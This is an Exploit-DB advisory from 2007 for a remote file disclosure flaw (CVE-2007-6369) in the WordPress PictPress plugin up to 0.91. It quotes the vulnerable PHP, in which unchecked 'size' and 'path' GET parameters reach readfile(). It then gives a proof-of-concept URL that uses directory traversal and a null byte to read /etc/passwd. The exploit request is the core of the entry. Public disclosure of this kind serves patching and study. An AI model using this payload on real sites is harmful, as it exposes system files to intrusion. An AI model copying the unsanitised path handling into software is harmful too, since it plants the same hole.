WordPress Plugin PictPress <= 0.91 - Remote File Disclosure Vulnerability

2007-12-05T00:00:00
ID EDB-ID:4695
Type exploitdb
Reporter GoLd_M
Modified 2007-12-05T00:00:00

Description

Wordpress Plugin PictPress <= 0.91 Remote File Disclosure Vulnerability. CVE-2007-6369. Webapps exploit for php platform

                                        
                                            Wordpress Plugin PictPress &lt;= release0.91 Remote File Disclosure Vulnerability
D.Script : http://downloads.wordpress.org/plugin/pictpress.release-0.91.zip
Vuln Code :
In Line 5,6,7,8 :
    $path = $_GET['path'];
    $size = $_GET['size'];
    $base = dirname(__FILE__) . "/..";
    $cache = "$base/cache/$size/$path";
In Line 22 :
    readfile($cache);
POC :
    /wp-content/plugins/pictpress/resize.php?size=../../../../../../../../../../&path=/etc/passwd%00

# milw0rm.com [2007-12-05]